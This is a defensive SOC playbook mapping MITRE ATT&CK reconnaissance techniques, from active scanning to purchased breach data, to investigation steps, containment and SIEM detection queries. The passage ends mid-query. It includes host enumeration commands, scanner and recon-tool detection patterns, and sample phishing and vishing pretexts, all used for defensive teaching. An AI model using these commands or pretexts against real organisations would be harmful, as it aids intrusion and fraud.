

MITRE ATT&CK PLAYBOOK FOR SOC

INVESTIGATION & RESPONSE

BY IZZMIER IZZUDDIN

RECONNAISSANCE

Reconnaissance is the stage where attackers quietly or noisily gather information to understand an organisation before launching an attack. Instead of exploiting systems immediately, they focus on learning what assets exist, how the environment is structured, who the key people are and where weaknesses may lie. This activity can range from obvious actions like scanning IP ranges and probing web endpoints, to stealthier methods such as harvesting identity data, analysing public websites, querying open technical databases or using paid threat-intelligence and breach data. For SOC teams, reconnaissance should be treated as an early warning phase rather than background noise, because it often precedes phishing, credential attacks, exploitation and lateral movement. Detecting and responding to reconnaissance early allows defenders to reduce attack surface, harden exposed systems, alert at-risk users and prepare for follow-on activity before a full compromise occurs.

Playbook 1 (MITRE Reconnaissance): Active Scanning

Technique: Active Scanning

Sub-techniques:

- Scanning IP Blocks
- Vulnerability Scanning
- Wordlist Scanning

Purpose

Detect, investigate and respond to adversaries actively probing external or internal infrastructure to discover attack surfaces, enabling attackers to:

- Identify live hosts, services and exposed ports
- Detect vulnerable applications and configurations
- Enumerate directories, endpoints, APIs and credentials
- Prepare precision attacks rather than noisy exploitation
- Build targeting intelligence before initial access

Active Scanning is pre-attack mapping attackers are knocking on every door to decide which one to break.

When to trigger this playbook

Trigger this playbook when indicators suggest intentional, systematic probing activity, including:

- Sequential or patterned port scans
- Repeated requests across IP ranges or subnets
- Automated vulnerability scanner signatures
- High-volume HTTP requests with wordlist-style paths
- Scanning behaviour without legitimate business context

Example use case scenario (end-to-end)

Context: SOC detects thousands of inbound connection attempts across multiple ports from a small set of IPs. Web logs show repeated requests to /admin, /login, /api/v1 and /backup.zip. No exploitation occurs yet, but the activity spans several hours and IP ranges.

Attacker objective: Map reachable systems, identify weaknesses and prioritise targets for exploitation.

Defender objective: Detect reconnaissance early, block scanning sources and harden exposed surfaces before compromise.

What it looks like (simulated SOC artefacts)

A) Scanning IP Blocks

SourceIP=45.83.XX.XX
TargetRange=203.0.113.0/24
Ports=22,80,443,3389
Pattern=Sequential

B) Vulnerability Scanning

UserAgent=NessusScanner
RequestType=Probe
Payload=KnownVulnCheck

C) Wordlist Scanning (T1595.002)

URI=/admin
URI=/wp-login.php
URI=/api/health
Count=Thousands

D) High Request Rate

RequestsPerSecond=200

E) No Legitimate Session

Auth=Anonymous
Session=None

F) Repeated Patterns

RequestOrder=Alphabetical

Severity decision (SOC)

Medium

- Limited or short-lived scanning with no follow-up

High

- Sustained scanning across services or IP ranges
- Reconnaissance targeting critical or exposed systems

Critical

- Scanning immediately followed by exploitation attempts
- Coordinated scanning from multiple sources

Example severity: High

(Confirmed hostile reconnaissance activity)

Step-by-step SOC workflow

Step 1 Validate active scanning

Confirm:

1. Is the activity systematic and automated?
2. Does it target multiple ports, hosts or endpoints?
3. Is there no legitimate business justification?
4. Are signatures consistent with known scanners or tools?

Decision point

- Legitimate security testing → validate approval
- Unauthorised active scanning → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
IP block scanning	Sequential IPs	Asset discovery
Vulnerability scanning	Scanner payloads	Weakness mapping
Wordlist scanning	Repeated paths	Entry point discovery
Low auth context	Anonymous requests	Stealth
Automation	Consistent patterns	Speed

Step 3 Map behaviour to attacker intent

3A) Target Discovery

Indicators

- Port and service enumeration

Attacker intent

- Identify reachable assets

3B) Weakness Identification

Indicators

- Vulnerability probe signatures

Attacker intent

- Find exploitable flaws

3C) Access Path Enumeration

Indicators

- /admin, /login, /backup scans

Attacker intent

- Locate authentication or misconfigurations

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Initial Access
 - Exploit public-facing applications
2. Credential Access
 - Brute force or password spraying
3. Persistence
 - Backdoor creation post-exploit
4. Defense Evasion
 - IP rotation or throttled scanning

Decision point

- Exploitation observed → escalate to Intrusion IR

Containment actions

Immediate

1. Block or rate-limit scanning source IPs
2. Enable WAF or IDS rules for scan signatures
3. Increase logging and monitoring on targeted assets

If hostile scanning confirmed

1. Add sources to threat intelligence blocklists
2. Validate exposure and patch vulnerable services
3. Notify SOC leadership and infrastructure owners

Eradication and recovery

- Harden exposed ports and services
- Patch identified vulnerabilities proactively
- Remove unused endpoints and directories
- Review firewall and WAF rules
- Monitor for renewed scanning or exploitation attempts

Detection engineering (SIEM ideas)

A) Port scanning detection

```
index=netflow  
| stats dc(dest_port) by src_ip  
| where dc(dest_port) > threshold
```

B) Vulnerability scanner user-agents

```
index=web  
| where user_agent IN ("Nessus","OpenVAS","Nikto","Acunetix")
```

C) Wordlist path enumeration

```
index=web  
| stats count by src_ip, uri_path  
| where count > threshold
```

Analyst checklist

- Active scanning confirmed
- Sub-techniques identified
- Targeted assets documented

- Blocking and hardening applied
- Follow-on activity monitored

Post-incident improvements

- Treat reconnaissance as an early-warning signal
- Maintain baselines for normal scanning (e.g. vulnerability management)
- Harden internet-facing attack surfaces continuously
- Correlate scan → exploit → compromise
- Include recon-detection scenarios in SOC training

Playbook 2 (MITRE Reconnaissance): Gather Victim Host Information

Technique: Gather Victim Host Information

Sub-techniques:

- Hardware
- Software
- Firmware
- Client Configurations

Purpose

Detect, investigate and respond to adversaries collecting detailed information about victim hosts to optimise later attack stages, enabling attackers to:

- Tailor exploits to specific hardware or OS versions
- Select malware compatible with installed software
- Identify firmware weaknesses or persistence paths
- Understand endpoint security posture and user environment
- Reduce noise and failure during exploitation

Gather Victim Host Information is precision reconnaissance attackers want to know the exact machine they're about to break.

When to trigger this playbook

Trigger this playbook when indicators suggest systematic enumeration of host characteristics, including:

- Queries for hardware, OS or BIOS details
- Enumeration of installed applications and versions
- Collection of firmware or driver information
- Discovery of endpoint configurations (AV, EDR, policies)
- Host profiling activity occurring before exploitation

Example use case scenario (end-to-end)

Context: SOC detects a low-privileged user executing commands to enumerate system hardware, OS version, installed software and BIOS details. Shortly after, the same host attempts to download an exploit targeting a specific kernel version.

Attacker objective: Collect host-specific intelligence to select the most reliable exploit and payload.

Defender objective: Detect early reconnaissance, block further activity and prevent targeted exploitation.

What it looks like (simulated SOC artefacts)

A) Hardware Enumeration

Command=wmic cpu get name

Command=wmic memorychip get capacity

B) Software Enumeration

Action=ListInstalledPrograms

Result=ApplicationsWithVersions

C) Firmware Discovery

Command=wmic bios get smbiosbiosversion

D) Client Configuration Discovery

Command=systeminfo

Command=gpresult /r

E) Security Tool Awareness

ProcessQuery=antivirus,edr

F) Timing Correlation

Event=HostRecon

FollowedBy=ExploitDownload

Severity decision (SOC)

Medium

- Limited host enumeration without follow-up

High

- Sustained host profiling activity
- Reconnaissance tied to exploit preparation

Critical

- Host recon immediately preceding exploitation or privilege escalation

Example severity: High

(Confirmed host reconnaissance for targeted attack)

Step-by-step SOC workflow

Step 1 Validate host information gathering

Confirm:

1. Are commands or tools enumerating host attributes?
2. Is the activity systematic and multi-category (hardware, software, firmware)?
3. Does it occur outside normal admin or IT workflows?
4. Is it preceding suspicious downloads or actions?

Decision point

- Legitimate IT inventory → validate approval
- Malicious host reconnaissance → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Hardware	CPU/RAM/device queries	Exploit reliability
Software	App/version lists	Payload compatibility
Firmware	BIOS/UEFI info	Persistence options
Client config	Policies, AV, EDR	Defense awareness
Low privilege	User-level access	Stealth

Step 3 Map behaviour to attacker intent

3A) Exploit Targeting

Indicators

- OS and kernel version discovery

Attacker intent

- Choose working exploits

3B) Defense Avoidance

Indicators

- AV/EDR and policy checks

Attacker intent

- Evade detection

3C) Persistence Planning

Indicators

- Firmware and boot info

Attacker intent

- Establish durable access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. **Initial Access / Execution**
 - Exploit attempts, payload delivery
2. **Privilege Escalation**
 - Kernel or driver exploits
3. **Persistence**
 - Scheduled tasks, services, firmware abuse
4. **Defense Evasion**
 - Disabling security tooling

Decision point

- Exploitation detected → escalate to Intrusion IR

Containment actions

Immediate

1. Isolate affected host if risk is high
2. Block suspicious tools or scripts
3. Increase monitoring on the user and endpoint

If malicious recon confirmed

1. Revoke or limit user privileges
2. Preserve endpoint telemetry and command history
3. Patch and harden the identified host
4. Notify SOC leadership and endpoint owners

Eradication and recovery

- Remove attacker tools or scripts
- Reset credentials used on the host
- Rebuild system if compromise is suspected
- Validate endpoint security posture
- Monitor closely for renewed reconnaissance

Detection engineering (SIEM ideas)

A) Host enumeration commands

```
index=edr  
| where process_name IN ("wmic","systeminfo","lshw","dmidecode")
```

B) Software inventory abuse

```
index=edr  
| where action="ListInstalledPrograms"  
| where user_role!="IT_Admin"
```

C) Firmware info access

```
index=edr  
| where command LIKE "%bios%"
```

Analyst checklist

- Host information gathering confirmed
- Sub-techniques identified
- Affected hosts documented
- Hardening and monitoring applied
- Follow-on activity watched closely

Post-incident improvements

- Treat host profiling as a pre-attack signal
- Restrict system inventory commands where possible
- Monitor for recon patterns across endpoints

- Correlate host recon → exploit → compromise
- Include host-recon scenarios in SOC detection playbooks

Playbook 3 (MITRE Reconnaissance): Gather Victim Identity Information

Technique: Gather Victim Identity Information

Sub-techniques:

- Credentials
- Email Addresses
- Employee Names

Purpose

Detect, investigate and respond to adversaries collecting identity-related information about users within the target organisation, enabling attackers to:

- Build accurate target lists for phishing and social engineering
- Prepare credential-based attacks (spraying, stuffing, MFA abuse)
- Impersonate real employees convincingly
- Map privilege levels and organisational roles
- Increase success rate of initial access and lateral movement

Gather Victim Identity Information is human-focused reconnaissance attackers are not targeting systems, yet they are targeting people.

When to trigger this playbook

Trigger this playbook when indicators suggest systematic harvesting of user identity data, including:

- Enumeration of usernames, email addresses or employee names
- Harvesting credentials from exposed sources or prior breaches
- Scraping corporate directories, portals or APIs
- Repeated identity-related queries preceding phishing or login attempts
- Reconnaissance activity focused on people rather than infrastructure

Example use case scenario (end-to-end)

Context: SOC observes a surge in requests against an externally exposed employee directory endpoint. Shortly after, multiple employees receive targeted phishing emails using their real names and job titles. Several authentication attempts follow using valid username formats.

Attacker objective: Build a high-fidelity identity dataset to maximise success of phishing and credential attacks.

Defender objective: Detect identity reconnaissance early and disrupt downstream access attempts.

What it looks like (simulated SOC artefacts)

A) Credential Collection Indicators

Source=LeakedDatabase
UsernameFormat=firstname.lastname
PasswordHash=Present

B) Email Address Enumeration

Pattern=@company.com
Requests=Thousands
Endpoint=/users/search

C) Employee Name Harvesting

Source=LinkedProfiles
Fields=FullName,Title,Department

D) Directory Scraping

API=/employeeLookup
QueryType=Sequential

E) Identity Correlation

Names=MappedToEmails
Emails=MappedToRoles

F) Follow-on Activity

NextEvent=PhishingCampaign

Severity decision (SOC)

Medium

- Limited identity data collection with no immediate follow-up

High

- Sustained identity harvesting

- Reconnaissance linked to phishing or auth attempts

Critical

- Identity recon immediately enabling credential compromise or access

Example severity: High

(Confirmed identity reconnaissance preceding access attempts)

Step-by-step SOC workflow

Step 1 Validate identity information gathering

Confirm:

1. Is identity data being collected systematically?
2. Are credentials, emails or names being enumerated at scale?
3. Is the source external or unauthorised?
4. Is activity preceding phishing or login attempts?

Decision point

- Legitimate HR or directory usage → validate approval
- Malicious identity reconnaissance → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Credentials	Leaks, dumps, reuse	Immediate access
Email addresses	Directory scraping	Phishing delivery
Employee names	OSINT, scraping	Social engineering
Correlation	Names ↔ emails	Precision targeting
Automation	Sequential queries	Scale

Step 3 Map behaviour to attacker intent

3A) Phishing Preparation

Indicators

- Email and name harvesting

Attacker intent

- Increase phishing success

3B) Credential Attack Readiness

Indicators

- Credential lists or username formats

Attacker intent

- Enable spraying or stuffing

3C) Impersonation and Trust Abuse

Indicators

- Role and title collection

Attacker intent

- Convince victims and bypass controls

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Phishing
 - Spearphishing emails or messages
2. Credential Access
 - Brute force, spraying, stuffing
3. Initial Access
 - Valid account usage
4. Lateral Movement
 - Impersonation of real users

Decision point

- Follow-on detected → escalate to Intrusion / Identity IR

Containment actions

Immediate

1. Rate-limit or block identity enumeration endpoints
2. Mask or restrict publicly exposed identity data

3. Increase monitoring on authentication and email gateways

If malicious identity recon confirmed

1. Reset or protect at-risk credentials
2. Alert employees of targeted phishing risk
3. Disable exposed directory or API functions
4. Notify SOC leadership, IAM, HR and Security Awareness teams

Eradication and recovery

- Remove exposed identity data sources
- Harden directory access controls
- Enforce MFA and strong auth policies
- Review email and IAM protections
- Monitor closely for renewed identity harvesting

Detection engineering (SIEM ideas)

A) Email enumeration detection

```
index=web  
| where uri LIKE "%user%" OR uri LIKE "%employee%"  
| stats count by src_ip  
| where count > threshold
```

B) Credential reuse monitoring

```
index=auth  
| where auth_result="Failure"  
| stats count by username  
| where count > threshold
```

C) Identity recon followed by phishing

```
index=web OR index=email  
| transaction src_ip maxspan=24h
```

Analyst checklist

- Identity reconnaissance confirmed
- Sub-techniques identified
- Exposed identities assessed
- Protections and alerts applied

- Follow-on attacks monitored

Post-incident improvements

- Treat identity data as a critical attack surface
- Minimise public exposure of names and emails
- Monitor for identity enumeration patterns
- Correlate identity recon → phishing → access
- Include human-focused recon scenarios in SOC training

Playbook 4 (MITRE Reconnaissance): Gather Victim Network Information

Technique: Gather Victim Network Information

Sub-techniques:

- Domain Properties
- DNS
- Network Trust Dependencies
- Network Topology
- IP Addresses
- Network Security Appliances

Purpose

Detect, investigate and respond to adversaries collecting detailed network-level intelligence to understand how an organisation's environment is connected, protected and trusted, enabling attackers to:

- Identify authoritative domains, subdomains and trust boundaries
- Discover DNS records, name servers and resolution patterns
- Map inter-domain, inter-forest or cloud trust relationships
- Understand internal and external network layout
- Identify IP ranges and exposed services
- Fingerprint firewalls, WAFs, IDS/IPS and security controls

Gather Victim Network Information is map-making reconnaissance attackers want a clear blueprint of how traffic flows and where controls sit before choosing an entry point.

When to trigger this playbook

Trigger this playbook when indicators suggest systematic network intelligence gathering, including:

- Enumeration of domains, subdomains and DNS records
- Repeated DNS queries for internal-looking hostnames
- Discovery of trust relationships or federation endpoints
- Probing of IP ranges without exploitation attempts
- Fingerprinting of network security devices or banners

Example use case scenario (end-to-end)

Context: SOC detects repeated DNS queries for internal-style hostnames (dc01.corp.local, vpn.corp.local) from an external IP. Passive DNS data shows extensive

subdomain enumeration. Shortly after, the same source probes VPN and firewall endpoints.

Attacker objective: Build a network-level understanding to plan initial access and lateral movement paths.

Defender objective: Detect reconnaissance early and harden exposed network surfaces.

What it looks like (simulated SOC artefacts)

A) Domain Properties Enumeration

Domain=corp.com
Subdomains=mail, vpn, portal, api
Registrar=Identified

B) DNS Reconnaissance

QueryType=ANY
Records=A,MX,TXT,NS
Frequency=High

C) Network Trust Discovery

Federation=Enabled
TrustType=ADFS
PartnerDomain=external-partner.com

D) Network Topology Inference

Traceroute=Multiple Hops
GatewayIdentified=Yes

E) IP Address Enumeration

TargetRange=203.0.113.0/22
LiveHosts=Identified

F) Network Security Appliance Fingerprinting

Banner=FortiGate
Service=WAF/VPN
Version=Exposed

Severity decision (SOC)

Medium

- Limited network information gathering without persistence

High

- Sustained, multi-faceted network reconnaissance
- Targeting critical infrastructure (DNS, VPN, firewalls)

Critical

- Recon immediately followed by exploitation attempts
- Recon combined with credential or phishing activity

Example severity: High

(Confirmed hostile network reconnaissance)

Step-by-step SOC workflow

Step 1 Validate network information gathering

Confirm:

1. Is activity systematic and network-focused?
2. Are domains, DNS, IPs or trusts being enumerated?
3. Is the source external or unauthorised?
4. Does the activity precede access or exploit attempts?

Decision point

- Legitimate partner or IT activity → validate approval
- Malicious network reconnaissance → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Domain properties	WHOIS, subdomains	Target scoping
DNS	Zone walking, queries	Host discovery
Trust dependencies	Federation endpoints	Lateral access paths
Network topology	Traceroute, hops	Movement planning
IP addresses	Range scanning	Attack surface
Security appliances	Banner/version info	Control bypass

Step 3 Map behaviour to attacker intent

3A) Attack Surface Mapping

Indicators

- Domain, IP and service enumeration

Attacker intent

- Identify reachable targets

3B) Trust Abuse Planning

Indicators

- Federation and trust discovery

Attacker intent

- Exploit cross-domain access

3C) Control Evasion Preparation

Indicators

- Security appliance fingerprinting

Attacker intent

- Bypass or exploit protections

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Initial Access
 - VPN, web or service exploitation
2. Credential Access
 - Targeted auth attempts
3. Lateral Movement
 - Trust abuse or federation misuse
4. Defense Evasion
 - WAF or firewall bypass techniques

Decision point

- Exploitation observed → escalate to Intrusion IR

Containment actions

Immediate

1. Rate-limit or block reconnaissance sources
2. Restrict DNS responses and disable unnecessary records
3. Mask or suppress banner/version information

If hostile recon confirmed

1. Harden exposed network services
2. Review and tighten trust relationships
3. Notify SOC leadership and network/security owners

Eradication and recovery

- Remove unnecessary DNS records and subdomains
- Patch and harden network appliances
- Review firewall and VPN exposure
- Rebaseline normal DNS and network behaviour
- Monitor closely for renewed reconnaissance

Detection engineering (SIEM ideas)

A) DNS enumeration detection

```
index=dns  
| stats count dc(query) by src_ip  
| where count > threshold
```

B) IP range probing

```
index=netflow  
| stats dc(dest_ip) by src_ip  
| where dc(dest_ip) > threshold
```

C) Security appliance fingerprinting

```
index=web  
| where uri LIKE "%vpn%" OR uri LIKE "%admin%"
```

| where status=401 OR status=403

Analyst checklist

- Network reconnaissance confirmed
- Sub-techniques identified
- Targeted domains/IPs documented
- Hardening and blocking applied
- Follow-on activity monitored

Post-incident improvements

- Treat network recon as a precursor to intrusion
- Minimise exposed DNS and trust information
- Monitor for abnormal DNS and IP enumeration patterns
- Correlate network recon → access attempts → compromise
- Include network-recon scenarios in SOC training

Playbook 5 (MITRE Reconnaissance): Gather Victim Org Information

Technique: Gather Victim Org Information

Sub-techniques:

- Determine Physical Locations
- Business Relationships
- Identify Business Tempo
- Identify Roles

Purpose

Detect, investigate and respond to adversaries collecting organisational-level intelligence to understand how the organisation operates as a business, enabling attackers to:

- Target specific offices, regions or facilities
- Abuse trusted vendors, partners or supply-chain relationships
- Time attacks to business cycles, peak workloads or holidays
- Target the right people with the right authority
- Increase success of phishing, fraud, BEC and insider-style attacks

Gather Victim Org Information is strategic reconnaissance attackers stop asking “what systems exist?” and start asking “how does this organisation actually function?”

When to trigger this playbook

Trigger this playbook when indicators suggest systematic collection of organisational intelligence, including:

- Scraping of office locations, addresses or facility details
- Enumeration of partners, vendors and subsidiaries
- Monitoring business hours, fiscal cycles or operational rhythms
- Collection of job roles, reporting lines and decision-makers
- Reconnaissance focused on people, structure and timing rather than technology

Example use case scenario (end-to-end)

Context: SOC observes targeted phishing emails referencing a specific regional office and a known third-party vendor. Emails are sent just before month-end closing and impersonate finance managers by name. Earlier OSINT activity shows scraping of company locations, LinkedIn roles and partner announcements.

Attacker objective: Exploit organisational trust, timing and hierarchy to maximise success of fraud or access.

Defender objective: Detect org-level reconnaissance early and disrupt socially engineered attack chains.

What it looks like (simulated SOC artefacts)

A) Physical Location Discovery

Source=PublicWebsite
Data=OfficeAddresses,Maps,FloorDetails
Region=APAC, EMEA

B) Business Relationship Mapping

Source=PressReleases
Partners=CloudProvider, PayrollVendor
Relationship=Trusted

C) Business Tempo Identification

ObservedPattern=MonthEnd
ActivitySpike=FinanceOperations

D) Role Identification

Roles=FinanceManager, ITAdmin, HRLead
ReportingLine=Identified

E) Timing Correlation

ReconCompleted=Week-1
PhishingLaunched=Week-4 (Month End)

F) Precision Targeting

EmailContent=VendorSpecific + RoleSpecific

Severity decision (SOC)

Medium

- Limited org-level OSINT without follow-up

High

- Sustained organisational profiling

- Recon directly enabling phishing, fraud or impersonation

Critical

- Org recon immediately followed by BEC, fraud or access compromise

Example severity: High

(Confirmed organisational reconnaissance enabling targeted attack)

Step-by-step SOC workflow

Step 1 Validate organisational information gathering

Confirm:

1. Is data about locations, partners, roles or operations being collected?
2. Is the activity systematic and correlated across multiple sources?
3. Does it precede targeted phishing, fraud or impersonation?
4. Is the intelligence too specific to be random OSINT?

Decision point

- Normal public awareness → document
- Malicious org reconnaissance → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Physical locations	Offices, facilities	Targeted access
Business relationships	Vendors, partners	Trust abuse
Business tempo	Cycles, timing	Attack timing
Roles	Decision-makers	Authority abuse
Correlation	Multi-source OSINT	Precision

Step 3 Map behaviour to attacker intent

3A) Targeted Social Engineering

Indicators

- Role- and office-specific content

Attacker intent

- Increase credibility and success

3B) Supply-Chain or Vendor Abuse

Indicators

- Partner and vendor references

Attacker intent

- Bypass trust boundaries

3C) Timing Exploitation

Indicators

- Attacks aligned to busy periods

Attacker intent

- Reduce scrutiny and response

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Phishing for Information
 - Spearphishing, BEC
2. Credential Access
 - MFA fatigue, impersonation
3. Initial Access
 - Valid accounts
4. Impact
 - Financial theft, fraud

Decision point

- Follow-on detected → escalate to Fraud / Intrusion IR

Containment actions

Immediate

1. Warn targeted teams (finance, HR, executives)
2. Increase monitoring on email and IAM systems

3. Review publicly exposed org information

If malicious org recon confirmed

1. Update phishing awareness and warnings
2. Restrict public disclosure of sensitive org details
3. Notify SOC leadership, HR, Legal and Fraud teams

Eradication and recovery

- Remove or reduce unnecessary public org disclosures
- Harden email, IAM and approval workflows
- Enforce strong verification for financial and admin actions
- Rebaseline normal communication patterns
- Monitor closely for renewed socially engineered attacks

Detection engineering (SIEM ideas)

A) Org-specific phishing detection

index=email
| where body LIKE "%office%" OR body LIKE "%vendor%"
| where sender_domain NOT IN trusted_domains

B) Role-targeted attack correlation

index=email OR index=auth
| transaction user maxspan=48h

C) Timing-based attack detection

index=email
| where date IN (month_end_window)

Analyst checklist

- Org-level reconnaissance confirmed
- Sub-techniques identified
- Targeted roles and teams notified
- Controls and awareness reinforced
- Follow-on attacks monitored

Post-incident improvements

- Treat organisational intelligence as an attack surface
- Limit unnecessary public exposure of roles and structures
- Monitor for role-specific and timing-based attacks
- Correlate org recon → phishing/fraud → access
- Include organisational-recon scenarios in SOC training

Playbook 6 (MITRE Reconnaissance): Phishing for Information

Technique: Phishing for Information

Sub-techniques:

- Spearphishing Service
- Spearphishing Attachment
- Spearphishing Link
- Spearphishing Voice

Purpose

Detect, investigate and respond to adversaries using phishing not to deliver malware, but to harvest information, enabling attackers to:

- Collect credentials, MFA responses or internal knowledge
- Validate email addresses, roles and trust relationships
- Gather sensitive business or technical details
- Prepare higher-impact follow-on attacks (BEC, credential abuse, intrusion)
- Test user awareness and organisational controls

Phishing for Information is interactive reconnaissance attackers ask the victim directly and let human trust do the work.

When to trigger this playbook

Trigger this playbook when indicators suggest phishing activity focused on information collection rather than payload delivery, including:

- Emails or messages asking for clarification, confirmation or access details
- Links leading to credential or information-capture pages
- Attachments containing forms or questionnaires rather than malware
- Voice calls requesting verification of processes or credentials
- Phishing that precedes later targeted attacks

Example use case scenario (end-to-end)

Context: Several finance staff receive emails impersonating a trusted vendor, asking them to “confirm the invoice approval workflow.” A follow-up phone call requests verification of MFA procedures. No malware is delivered, but attackers later attempt account access using harvested details.

Attacker objective: Gather process knowledge and authentication details to enable fraud and access.

Defender objective: Detect phishing reconnaissance early and prevent downstream compromise.

What it looks like (simulated SOC artefacts)

A) Spearphishing Service

Channel=Email/Teams
Impersonation=TrustedVendor
Request=ProcessConfirmation

B) Spearphishing Attachment

Attachment=Invoice_Confirmation_Form.docx
Action=RequestInformation

C) Spearphishing Link

URL=https://secure-portal[.]com/login
Purpose=CredentialHarvest

D) Spearphishing Voice

CallType=VoIP
Script=MFA Verification Request

E) No Malware Indicators

Payload=None
AVDetection=None

F) Follow-on Correlation

NextEvent=CredentialUseAttempt

Severity decision (SOC)

Medium

- Isolated phishing attempts with no sensitive data exposure

High

- Targeted phishing harvesting credentials or internal processes

Critical

- Information phishing directly enabling fraud, BEC or intrusion

Example severity: High

(Confirmed information-harvesting phishing)

Step-by-step SOC workflow

Step 1 Validate phishing for information

Confirm:

1. Is the message requesting information rather than delivering malware?
2. Is it targeted (role-specific, vendor-specific or personalised)?
3. Are links, attachments or calls designed to capture data?
4. Does it precede or correlate with access attempts?

Decision point

- Legitimate business request → validate source
- Phishing for information → escalate

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Spearphishing service	Email/chat requests	Process intel
Spearphishing attachment	Forms/documents	Structured data
Spearphishing link	Fake portals	Credentials
Spearphishing voice	Vishing calls	MFA/process details
Personalisation	Role/vendor references	Trust abuse

Step 3 Map behaviour to attacker intent

3A) Credential and MFA Intelligence

Indicators

- Login or verification requests

Attacker intent

- Prepare account compromise

3B) Business Process Mapping

Indicators

- Workflow or approval questions

Attacker intent

- Enable fraud or BEC

3C) Trust Validation

Indicators

- Vendor or executive impersonation

Attacker intent

- Increase later attack success

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Brute force, spraying, MFA abuse
2. Initial Access
 - Valid account usage
3. Impact
 - Financial theft, BEC
4. Persistence
 - Account changes or token abuse

Decision point

- Follow-on detected → escalate to Fraud / Intrusion IR

Containment actions

Immediate

1. Block phishing sender domains and URLs
2. Disable reported phishing pages
3. Alert targeted users and teams

If phishing for information confirmed

1. Reset exposed credentials and sessions
2. Review MFA and approval workflows
3. Preserve email, chat and call artefacts
4. Notify SOC leadership, IAM, Fraud and Awareness teams

Eradication and recovery

- Remove phishing artefacts and infrastructure
- Harden email, messaging and voice controls
- Reinforce verification procedures for sensitive requests
- Conduct targeted awareness refreshers
- Monitor closely for renewed phishing attempts

Detection engineering (SIEM ideas)

A) Info-request phishing detection

index=email
| where body LIKE "%confirm%" OR body LIKE "%verify%"
| where sender_domain NOT IN trusted_domains

B) Credential-harvest link detection

index=proxy
| where url_category="Login" AND dest_domain NOT IN allowlist

C) Vishing correlation

index=voice OR index=auth
| transaction user maxspan=24h

Analyst checklist

- Phishing for information confirmed
- Sub-techniques identified
- Exposed information assessed
- Users and systems protected
- Follow-on attacks monitored

Post-incident improvements

- Treat information requests as high-risk signals

- Strengthen verification for process and credential queries
- Correlate phishing → info disclosure → access
- Expand phishing detection and awareness
- Include phishing-for-info scenarios in SOC training

Playbook 7 (MITRE Reconnaissance): Search Closed Sources

Technique: Search Closed Sources

Sub-techniques:

- Threat Intel Vendors
- Purchase Technical Data

Purpose

Detect, investigate and respond to adversaries obtaining victim intelligence from non-public, paid or restricted sources, enabling attackers to:

- Access breach data, credentials and infrastructure details
- Obtain vulnerability intelligence not yet widely disclosed
- Purchase network diagrams, access brokers' listings or insider data
- Gain high-confidence targeting information without active probing
- Reduce noise and exposure during reconnaissance

Search Closed Sources is quiet, outsourced reconnaissance attackers don't scan or scrape they buy what someone else already stole or mapped.

When to trigger this playbook

Trigger this playbook when indicators suggest reconnaissance data originating from private or paid sources, including:

- Use of credentials or infrastructure knowledge never publicly exposed
- Attackers demonstrating precise internal knowledge early in an intrusion
- References to breach datasets, access broker listings or paid reports
- Reconnaissance that bypasses normal discovery phases
- Intelligence that appears too accurate to be guessed or scraped

Example use case scenario (end-to-end)

Context: SOC investigates a targeted intrusion where the attacker logs in using valid credentials that were never phished internally. Dark web monitoring reveals the company's VPN credentials were sold weeks earlier by an access broker. No prior scanning or phishing was detected.

Attacker objective: Leverage purchased intelligence to gain immediate, low-noise access.

Defender objective: Identify the intelligence source, contain compromised identities and prevent reuse.

What it looks like (simulated SOC artefacts)

A) Credential Use Without Precursor

AuthMethod=VPN
Username=employeeA
NoPriorPhishing=True

B) Dark Web / Closed Intel Correlation

Source=AccessBrokerForum
Data=VPNCredentials + MFASStatus

C) Threat Intel Vendor Reference

Dataset=PremiumBreachFeed
Fields=Emails,Passwords,IPs

D) Purchased Technical Data

AssetInfo=FirewallModel + FirmwareVersion
Source=PaidReport

E) High-Confidence Targeting

AttackPath=Known + Optimised
TrialAndError=None

F) Early Privileged Access

AccessAchieved=FirstAttempt

Severity decision (SOC)

High

- Closed-source intel used for limited access attempts

Critical

- Purchased intel enabling immediate access or privilege escalation
- Access broker or breach data used successfully

Example severity: Critical

(External intelligence-driven compromise)

Step-by-step SOC workflow

Step 1 Validate closed-source reconnaissance

Confirm:

1. Does the attacker demonstrate knowledge not publicly available?
2. Were credentials or technical details never exposed internally?
3. Is there no observable recon or phishing phase?
4. Is there corroboration from threat intel or dark web sources?

Decision point

- Coincidental overlap → continue investigation
- Closed-source recon confirmed → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Threat intel vendors	Breach datasets	Immediate access
Purchased technical data	Network/asset details	Precision attacks
Access brokers	Credential listings	Low-noise intrusion
Insider data	Accurate configs	Bypass defenses
No probing	Clean logs	Stealth

Step 3 Map behaviour to attacker intent

3A) Fast Initial Access

Indicators

- Successful login on first attempt

Attacker intent

- Skip reconnaissance and phishing

3B) Reduced Detection Risk

Indicators

- No scanning or enumeration

Attacker intent

- Avoid SOC early warning

3C) High-Value Targeting

Indicators

- Accurate system or role selection

Attacker intent

- Maximise ROI of purchased data

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Initial Access
 - Valid account usage
2. Credential Access
 - Additional credential harvesting
3. Lateral Movement
 - Privilege escalation using known paths
4. Impact
 - Ransomware, data theft, fraud

Decision point

- Active intrusion detected → escalate to Major Incident IR

Containment actions

Immediate

1. Disable compromised accounts and sessions
2. Rotate credentials, secrets and keys
3. Block known attacker infrastructure

If closed-source recon confirmed

1. Conduct full credential hygiene review
2. Force password resets and MFA re-enrolment
3. Notify SOC leadership, IAM and Legal
4. Engage threat intel providers for scope validation

Eradication and recovery

- Remove attacker access and persistence
- Review historical auth logs for reuse
- Harden exposed services and identities
- Expand dark web and breach monitoring
- Monitor closely for reuse of sold data

Detection engineering (SIEM ideas)

A) First-attempt success detection

```
index=auth  
| where auth_result="Success"  
| where prior_failures=0
```

B) Breach-credential correlation

```
index=auth  
